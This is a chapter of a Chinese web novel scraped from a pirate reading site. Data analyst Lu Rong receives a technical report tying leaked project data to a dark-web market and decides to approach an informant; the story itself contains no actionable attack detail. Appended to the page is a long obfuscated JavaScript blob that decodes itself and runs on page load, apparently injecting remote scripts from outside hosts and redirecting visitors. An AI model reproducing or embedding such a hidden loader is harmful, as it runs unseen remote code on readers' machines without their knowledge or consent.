首页
第26章:联盟的验证
返回
关灯 护眼:关 字号:小

第26章:联盟的验证

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第26章:联盟的验证(第1/2页)
    路容走出地铁站时,天已经快黑了。深港市的霓虹灯次第亮起,在高楼玻璃幕墙上投下流动的光影。她站在街边,看着车流如织,人潮涌动。背包里的电脑沉甸甸的,里面装着今天谈话的所有记录,还有秦风发来的、关于“暗网枢纽”的初步监测报告摘要。晚风带着凉意吹过,她拉高了衣领,快步走向出租屋的方向。路灯把她的影子拉得很长,在身后无声地移动。每一步,都离那个黑暗深处的平台更近一步。
    ***
    一周后的深夜,十一点四十七分。
    出租屋里只开着一盏台灯。昏黄的光晕在书桌上圈出一片小小的明亮区域,周围是浓稠的黑暗。窗外偶尔有车灯扫过,在墙壁上投下短暂的光斑,又迅速消失。
    路容坐在书桌前。
    她面前的电脑屏幕亮着,显示着一个简洁的加密通讯界面。背景是深沉的墨蓝色,上面浮动着细密的、几乎看不见的像素点——那是动态加密算法的视觉化呈现。界面中央只有一个输入框,光标在框里安静地闪烁。
    她在等。
    台灯的光照在她脸上,勾勒出紧绷的下颌线条。她的眼睛盯着屏幕,瞳孔里映着那抹幽蓝的光。房间里很安静,能听见自己呼吸的声音,还有墙上挂钟秒针走动的滴答声——那是她从旧货市场淘来的机械钟,齿轮转动的声音在深夜里格外清晰。
    空气里有灰尘的味道,还有她下午煮咖啡留下的淡淡焦香。咖啡已经冷了,杯沿上凝着一圈褐色的痕迹。
    路容的手指放在键盘上,没有动。
    她在等秦风的报告。
    “破晓”联盟的初步分析报告。
    这一周,她过得像走在刀锋上。白天在星耀集团,她依然是那个沉默寡言、埋头工作的“若溪”。王总监的监控变本加厉——她的电脑被安装了新的监控软件,工位对面的摄像头角度被调整,连她去茶水间的时间都被记录。周哲看她的眼神里多了些欲言又止的东西,但他什么都没说,只是在她加班时,会默默在她桌上放一杯热牛奶。
    路容喝掉了每一杯牛奶。
    然后继续扮演她的角色。
    晚上回到出租屋,她卸下伪装,变成“溪流”。她整理了更多关于“深蓝计划”外围数据的异常特征——那些隐藏在正常数据流里的微小异常,那些不符合标准加密协议的元数据字段,那些只在特定时间窗口出现的网络请求模式。她把它们打包,通过加密信道发给了秦风。
    每一份数据,她都做了三重伪装。
    第一重,剥离所有能追溯到星耀集团的标识信息。
    第二重,混入大量无关的公开数据集样本。
    第三重,用她自己编写的算法对数据特征进行非线性变换,保留技术本质,但改变表现形式。
    这是她作为数据分析师的本能——保护数据,保护自己。
    现在,她在等结果。
    墙上的钟指向十一点五十分。
    屏幕突然闪烁了一下。
    不是消息提示音——这个加密通讯软件没有任何声音提示。是界面右下角出现了一个微小的、几乎看不见的红色光点,闪烁了三下,然后消失。
    有新文件传输请求。
    路容的身体微微前倾。
    她移动鼠标,点击那个已经变成浅灰色的光点位置。一个弹窗出现,要求输入动态验证码。她打开手机,点开一个同样加密的验证器应用,屏幕上显示出一串六位数字,每三十秒刷新一次。
    她输入数字。
    弹窗消失。
    一个新的文件图标出现在通讯界面里——一个银灰色的文件夹图标,上面有一个小小的、抽象的破晓徽记:半轮太阳从地平线升起,光芒被设计成数据流的样式。
    文件名:TS_2023_09_28_Prelim_Analysis_Report_V1.2.enc
    时间戳显示是三分钟前上传的。
    路容盯着那个图标。
    她的心跳开始加速,胸腔里像有什么东西在敲打。喉咙发干,她伸手去拿桌上的水杯,手指碰到冰凉的玻璃杯壁,才意识到杯子里已经没有水了。
    她深吸一口气。
    然后双击图标。
    文件需要二次解密。她输入另一组密钥——这是她和秦风约定的双重加密机制。密钥正确,文件开始解压。进度条在屏幕上缓慢移动,蓝色的光带一点一点填满长方形的框。
    解压完成。
    一份PDF文档自动打开。
    第一页是封面。
    深蓝色的背景,左上角是“破晓技术联盟”的徽标和全称。中央是标题:《关于匿名数据集“DS_2023_09_21_Sample_Set_A”的技术风险评估初步报告》。标题下方是日期、报告编号、版本号。右下角有一行小字:本报告仅限指定接收方查阅,严禁复制、转发或用于任何商业用途。
    路容滚动鼠标。
    第二页是摘要。
    她的目光快速扫过那些文字。
    “……本报告对委托方提供的匿名数据集‘DS_2023_09_21_Sample_Set_A’进行了多维度技术分析。分析重点包括:数据加密模式、元数据结构特征、数据包网络行为模式、时间序列异常检测等……”
    “……初步分析结果显示,该数据集在以下技术特征上表现出高度一致性:(1)采用非标准AES-256变体加密,其密钥调度算法与公开标准存在三处微小但可复现的差异;(2)元数据字段包含自定义扩展标签,标签命名规则符合特定内部编码规范;(3)数据包时间戳存在规律性微调,调整模式与已知的日志混淆技术‘Time-Jitterv2.1’高度匹配……”
    路容的呼吸变轻了。
    她继续往下看。
    第三页开始是详细分析。
    图表出现了。
    第一张图是加密模式对比分析。左侧是标准AES-256的密钥扩展流程图,右侧是样本数据中提取出的实际密钥扩展模式。两条流程线在大部分节点重合,但在三个位置分叉——分叉点被用红色圆圈标出,旁边有详细的数学公式和概率分析。
    路容盯着那三个红圈。
    她的专业直觉在嗡嗡作响。这种加密变体,她见过——三年前,在天启科技,李剑负责的一个内部项目就使用过类似的非标准加密。当时她问过为什么不用标准算法,李剑的回答是“安全需求特殊”。她当时信了。
    现在她知道,那不是为了安全。
    是为了隐藏。
    第二张图是元数据结构树状图。树根是标准的数据包头部结构,树枝延伸出去,大部分是常见的字段:时间戳、数据大小、校验和……但在树的深处,有几条用红色高亮标出的分支——那是自定义扩展字段。字段名是十六进制编码,解码后是一串无意义的字母数字组合。
    但路容看懂了。
    那些“无意义”的组合,其实是一种简单的替换密码。密钥是项目名称的首字母缩写。
    她试着在心里解码。
    第一个字段:0x534A5F5052→替换解密后→SJ_PR。
    深蓝计划。
    她的手指收紧,指甲陷进掌心。
    第三张图是时间序列分析。横轴是时间,纵轴是数据包发送间隔。正常的网络数据流,发送间隔应该符合泊松分布,在图表上呈现为随机波动的点。但样本数据的时间序列图上,那些点虽然看起来随机,但在特定时间窗口——每天凌晨两点到四点之间——出现了规律性的“平静期”:整整两个小时,没有任何数据包。
    平静期之后,会出现一个密集的数据包爆发。
    爆发模式,与已知的黑市数据交易平台“暗网枢纽”的典型交易确认信号高度相似。
    路容滚动到报告的最后一页。
    结论部分。
    她的目光落在那些加粗的文字上。
    “综合以上分析,技术团队得出初步结论:”
    “1.数据集‘DS_2023_09_21_Sample_Set_A’采用的加密、元数据、时间序列特征,与近期在非法数据交易平台‘暗网枢纽’上流通的多批‘脱敏商业数据’存在高度相似性,相似度评估为87.3%(置信区间85.1%-89.5%)。”
    “2.数据特征的一致性表明,这些数据很可能源自同一技术团队或同一套数据处理流水线,即存在同源可能性。”
    “3.数据集表现出明显的隐蔽传输特征,包括非标准加密、自定义元数据、规律性时间混淆等,这些特征通常用于规避常规网络安全监测,符合非法数据交易的行为模式。”
    “4.基于现有样本,可以合理推断原始数据涉及商业机密或用户隐私信息,其流通可能违反《网络安全法》《数据安全法》及相关行业规定。”
    “风险评估等级:高危。”
    “建议:如委托方掌握更多信息,建议向相关执法部门举报。如需进一步技术分析,可提供更多样本或更完整的数据上下文。”
    报告结束。
    路容盯着屏幕。
    房间里安静得能听见自己的心跳声,咚,咚,咚,沉重而有力。台灯的光晕在报告页面上投下温暖的黄色,那些冰冷的文字和图表在光里微微发亮。
    她终于有了证据。
    确凿的、第三方的、来自权威技术联盟的技术证据。
    “深蓝计划”的数据,确实被非法泄露了。那些加密特征,那些元数据标签,那些时间序列的异常——它们像指纹一样,指向同一个源头。而那个源头,现在就在星耀集团,就在李剑手里。
    路容的身体开始颤抖。
    不是恐惧的颤抖。是一种压抑了太久、终于找到出口的释放。她的肩膀微微耸动,呼吸变得急促。眼睛里有什么东西在发热,但她没有让它们流出来。她只是紧紧咬着下唇,直到尝到一丝铁锈般的血腥味。
    (本章未完,请点击下一页继续阅读)第26章:联盟的验证(第2/2页)
    三年。
    一千多个日夜。
    她像幽灵一样活着,戴着面具,改变声音,隐藏自己。她看着李剑步步高升,看着王总监耀武扬威,看着那个曾经属于她的世界对她关上大门。她睡在狭小的出租屋里,做着没有尽头的数据清洗工作,在每一个深夜对着电脑屏幕,一遍遍复盘三年前那个陷阱的每一个细节。
    现在,她终于抓住了第一根线头。
    报告在屏幕上静静展开,那些图表和结论像一座灯塔,在黑暗的海面上亮起光芒。光芒很微弱,但足够指引方向。
    路容闭上眼睛。
    她让自己颤抖了十秒钟。
    然后睁开眼睛。
    颤抖停止了。
    她坐直身体,手指重新放在键盘上。屏幕的光映在她脸上,那张脸平静得像深潭的水面,只有眼睛里还残留着一丝未散尽的波澜。
    证据有了。
    但还不够。
    这份报告只能证明数据被非法交易,不能直接证明是李剑做的。加密特征可以追溯到技术团队,但李剑完全可以推卸责任——他可以声称是下属私自行为,可以声称自己不知情,可以动用律师团队把水搅浑。
    她需要更核心的证据。
    交易记录。资金流向。内部操作日志。李剑与“暗网枢纽”卖家的直接通讯记录。
    那些东西,才是能钉死他的钉子。
    路容移动光标,回到加密通讯界面。
    她开始打字。
    输入框里,字符一个一个出现。
    “秦风,报告已收到。感谢你和团队的专业工作。结论很有价值,证实了我的猜测。”
    她停顿了一下。
    然后继续。
    “我想请教一个问题:以‘破晓’联盟的资源,是否有办法接触到‘暗网枢纽’平台上更具体的交易信息?比如卖家的身份线索、交易时间记录、或者资金流向的痕迹?”
    她盯着这段话。
    每一个字都在试探。
    秦风说过,“暗网枢纽”很危险。他也说过,他们有关注那个平台的动态。那么,他手里应该有一些情报,或者至少,知道获取情报的渠道。
    路容按下发送键。
    消息加密传输,在网络上划过一道不可见的轨迹。
    她等待。
    屏幕右下角的时间显示:零点零三分。
    深夜了。秦风可能已经休息。但她记得他说过,他是个夜猫子,经常工作到凌晨两三点。
    果然,两分钟后,回复来了。
    不是文件,是文字消息。
    “溪流,你确定要往那个方向走?”
    路容打字:“我需要更完整的证据链。”
    秦风回复得很快。
    “那个地方很危险,水很深。‘暗网枢纽’不是普通的论坛,它背后有专业的反追踪团队,有法律防火墙,甚至可能牵扯到跨国犯罪网络。平台上流通的数据,很多涉及重大商业机密和个人隐私,买家卖家都是匿名的幽灵。一旦你尝试深入调查,就可能被盯上。”
    路容看着这些话。
    她的手指在键盘上悬停。
    危险。她当然知道危险。三年前她就已经掉进过深渊,知道那里面有多冷。但现在,她站在深渊边缘,手里握着第一根绳索。如果因为害怕而松手,她将永远困在黑暗里。
    她打字。
    “我明白风险。但我需要那些信息。”
    发送。
    这次等待的时间更长。
    五分钟。
    屏幕安静得像凝固了。
    路容能听见墙上挂钟的滴答声,能听见自己呼吸的轻微气流声,能听见远处街道上偶尔传来的汽车引擎轰鸣。台灯的光晕在桌面上投下一个清晰的圆形,圆形边缘之外,黑暗浓得化不开。
    终于,新消息来了。
    “如果你真想深入,我可以介绍一个信得过的‘线人’给你。”
    路容的心脏猛地一跳。
    线人。
    “他在那个圈子里混了很久,知道很多内幕。但他只认两样东西:钱,和‘硬货’。”
    秦风继续打字。
    “钱,指的是加密货币,无法追踪的那种。‘硬货’,指的是有价值的情报或技术资源——他需要等价交换。如果你能提供他感兴趣的东西,或者支付足够的费用,他可能会帮你拿到你想要的信息。”
    “但我要提醒你:这个人很谨慎,交易方式复杂,而且不保证结果。他提供的线索可能是真的,也可能是陷阱。你要自己判断。”
    一段文字出现在输入框上方。
    那是秦风的最后一段话。
    “另外,如果你决定接触他,不要用‘溪流’这个身份。创建一个全新的、一次性使用的匿名身份。不要透露任何关于你自己的真实信息。不要相信他说的任何关于‘安全保证’的话。记住,在那个世界里,信任是奢侈品,而背叛是日常。”
    消息结束。
    路容盯着屏幕。
    加密通讯界面的墨蓝色背景上,那些白色的文字像浮在水面上的冰。冰很冷,但冰下面,是通往真相的通道。
    线人。
    钱。
    硬货。
    她需要权衡。
    她的存款不多——绩效被扣,房租要交,生活开销要维持。加密货币她有一些,是之前做技术咨询时客户用比特币支付的报酬,一直存在冷钱包里,没有动过。大概相当于她三个月的工资。
    够吗?
    她不知道。
    “硬货”呢?她有什么可以交换的?技术?算法?情报?
    她手里有“深蓝计划”的部分数据特征,但这些已经给了秦风。她有天启科技时代的一些内部技术文档,但那些可能已经过时。她有作为数据分析师的直觉和经验,但这些无法量化。
    路容靠在椅背上。
    台灯的光照在她脸上,她的眼睛半闭着,睫毛在脸颊上投下细密的阴影。她在思考,在计算,在权衡风险与收益。
    墙上的钟指向零点二十一分。
    夜深了。
    窗外的城市依然亮着灯,但那些灯光很遥远,像另一个世界的光。这个世界里,只有她,和屏幕上的那些文字,和那个即将打开的新通道。
    她坐直身体。
    手指放在键盘上。
    她需要回复秦风。
    需要做出决定。
    她的目光落在报告页面上——那些图表,那些结论,那些“高危”的评级。那些东西给了她力量,也给了她责任。如果她现在退缩,那些数据将继续在黑市上流通,更多的人将受害,而李剑将继续逍遥法外。
    她不能退缩。
    路容开始打字。
    “秦风,谢谢你的提醒和介绍。我想接触那个线人。”
    “请告诉我具体的方式和注意事项。关于费用和‘硬货’,我会准备。”
    “另外,报告的费用是多少?我一起支付。”
    她按下发送。
    消息传输。
    这一次,她没有等待回复。
    她关掉了报告页面,关掉了加密通讯软件。屏幕暗下去,房间里只剩下台灯的光。她站起来,走到窗边。
    窗外,深港市的夜景铺展开来。高楼大厦像巨大的黑色剪影,上面点缀着无数个发光的窗口。街道上的车流像流动的光河,红色的尾灯和白色的前灯交织成绵延的光带。远处,商业区的霓虹招牌在夜色中闪烁,把天空染成淡淡的紫红色。
    风吹进来,带着初秋的凉意,还有城市特有的、混杂着汽车尾气和远处餐厅油烟的味道。
    路容看着这片夜景。
    三年前,她也曾站在这样的高楼里,看着脚下的城市。那时她觉得,这个世界是她的舞台。后来舞台坍塌了,她坠落到地面,变成阴影里的一粒尘埃。
    现在,尘埃要重新升起。
    她需要钱。
    需要“硬货”。
    需要面对那个只认利益、不认人的线人。
    需要走进更深的水里。
    路容转身,回到书桌前。她打开一个加密笔记软件,开始列清单。
    1.清点加密货币资产。
    2.整理可能作为“硬货”的技术资源:匿名化算法变体?数据特征提取工具?还是……
    3.创建全新的匿名身份:需要新的邮箱、新的通讯账号、新的数字指纹。
    4.研究“暗网枢纽”的基本访问方式——秦风给的监测报告里应该有线索。
    5.评估风险预案:如果线人是陷阱怎么办?如果身份暴露怎么办?如果……
    她打字的手指停住。
    如果周哲发现了怎么办?
    这个念头像一根细针,突然扎进她的思绪里。她想起他放在她桌上的热牛奶,想起他欲言又止的眼神,想起他说“少看行业新闻”时那种笨拙的关心。
    愧疚感又涌上来,沉甸甸的,压在心口。
    路容闭上眼睛。
    三秒后,她睁开眼睛,继续打字。
    清单继续。
    6.保持“若溪”的完美伪装,绝不露出破绽。
    7.与周哲保持安全距离——不能再接受他的好意,不能再让他卷入。
    她打下这行字,然后盯着它看了很久。
    最后,她没有删除。
    只是把光标移开,继续写下一条。
    窗外的城市,在夜色中缓缓呼吸。
    而在这个狭小的出租屋里,一个新的计划,正在黑暗中悄然成形。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();